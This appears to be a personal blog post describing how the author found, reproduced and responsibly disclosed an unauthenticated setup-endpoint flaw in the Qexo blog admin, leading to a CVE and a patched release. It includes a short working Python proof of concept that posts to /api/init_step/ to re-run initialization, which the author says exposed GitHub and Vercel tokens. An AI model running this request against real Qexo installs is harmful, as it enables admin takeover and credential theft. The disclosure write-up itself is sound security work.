How I Discovered a High-Risk Vulnerability in Qexo (Score 9.3)
Initial Discovery
Vulnerability Detected Using Platform Scan
While reading an article from a certain public account, I stumbled upon the MonkeyScan platform by Changting, which was in public beta (registering grants 3000 Credits, 1 credit per 200 lines). With the mindset of "better to have it and not need it than need it and not have it," I registered to try it out. My first test was on mx-space/core (since I use it for my blog), but the only valuable finding seemed to be an SSRF caused by an avatar chain link (which turned out to be worthless in practice). Then I tested Tinder.
Suddenly, Qexo popped into my mind (although I haven't used hexo for a long time, I have contributed code to Qexo), so I threw it into the backend for a scan. This time, the high-risk list had something that caught my attention:

Unauthenticated users can trigger it? Interesting. So I immediately tried to reproduce it.
Attempt to Reproduce
(Since I had deleted my previous Qexo, I encountered issues redeploying it)
I immediately made the necessary settings and entered the backend.
I forgot to save the packet capture... which delayed me a bit later.
First, I accessed ~/api/init_step/ in the browser but got a 404 response. Checking the code revealed it required a POST request. So I opened ApiFox and sent...

I asked ChatGPT about it, but it was too annoying, so I decided to reproduce it using Python.
import requests
BASE_URL = "https://admin.trfox.top"
session = requests.Session()
# 1️⃣ Access homepage to get CSRF
resp = session.get(BASE_URL)
csrftoken = session.cookies.get("csrftoken")
print("CSRF Token:", csrftoken)
# 2️⃣ Correct request Step 1
url = BASE_URL + "/api/init_step/"
headers = {
"Referer": BASE_URL + "/",
"X-CSRFToken": csrftoken,
"X-Requested-With": "XMLHttpRequest",
}
response = session.post(url, headers=headers)
print("Status:", response.status_code)
print("Response:", response.text)
Then I encountered another issue: the response was as follows (operation failed):
{
"msg": "\u64cd\u4f5c\u5931\u8d25!",
"status": false,
"current_step": null,
"context": {}
}
Why? So I returned to the platform to read the details. It turns out there was some data to be sent with the request, formatted as follows:
{
"step": "1",
"language": "zh_CN",
"csrfmiddlewaretoken": csrftoken,
}
I modified the code, ran it successfully, and then accessed Qexo. I could see:

(Initially, I thought the report only indicated the ability to create a new admin and overwrite old settings (theoretically, by modifying the data above to step=2 and adding relevant data), but I didn't expect the final result to be obtaining Github and Vercel Tokens for further exploitation, which was far beyond my expectations.)
Contacting the Author
Since Qexo hadn't set a security policy at the time, I contacted abudu on QQ:

After some settings, I successfully entered the report vulnerable interface and started writing the report (because this vulnerability was so easy to trigger, the initial report was quite brief):

| Metric | Meaning | Value | Description |
|---|---|---|---|
| AV (Attack Vector) | Attack Vector | N (Network) | Can be remotely attacked via network |
| AC (Attack Complexity) | Attack Complexity | L (Low) | Simple attack conditions |
| AT (Attack Requirements) | Attack Prerequisites | N (None) | No additional prerequisites |
| PR (Privileges Required) | Privileges Required | N (None) | No privileges required |
| UI (User Interaction) | User Interaction | N (None) | No user involvement required |
| VC (Vulnerable System Confidentiality) | Confidentiality Impact (Vulnerable System) | H (High) | High confidentiality impact |
| VI (Vulnerable System Integrity) | Integrity Impact (Vulnerable System) | N (None) | No integrity impact |
| VA (Vulnerable System Availability) | Availability Impact (Vulnerable System) | N (None) | No availability impact |
| SC (Subsequent System Confidentiality) | Subsequent System Confidentiality Impact | H (High) | Can impact other systems' confidentiality |
| SI (Subsequent System Integrity) | Subsequent System Integrity Impact | H (High) | Can impact other systems' integrity |
| SA (Subsequent System Availability) | Subsequent System Availability Impact | H (High) | Can impact other systems' availability |
Regarding CWE:
- Improper Access Control (CWE-284)
- Insufficiently Protected Credentials (CWE-522)
- Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
- Missing Authentication for Critical Function (CWE-306)
Entering the Fix Process
Abudu was quite busy on the evening of May 1st, but he paid attention to this matter and immediately fixed the related vulnerabilities once he had time that night (thumbs up).


Vulnerability Officially Disclosed & CVE Number Assigned
- On May 2nd, the PR was merged, and Qexo 4.2.0 was released
- On May 8th, the CVE was officially issued, numbered
CVE-2026-44828 - On June 15th, the vulnerability was officially disclosed on Github
Summary:
This was indeed a stroke of luck, happening to use AI to detect this vulnerability (and a highly critical one at that), and then happening to be somewhat familiar with this area, allowing me to promptly submit the vulnerability (such opportunities are truly first come, first served), but the same applies to attackers.
Abudu said this might have been an issue that arose during the recent vibe period. One can't help but marvel at the lack of understanding and security control AI has in large-scale projects.
Fortunately, Qexo4 currently has few users, and it was discovered by me (or rather AI) first, reported to the author (proudly), without much impact. However, it's still recommended that everyone upgrade immediately.
This CVE number can be considered my 18th birthday gift (feels like the most valuable one).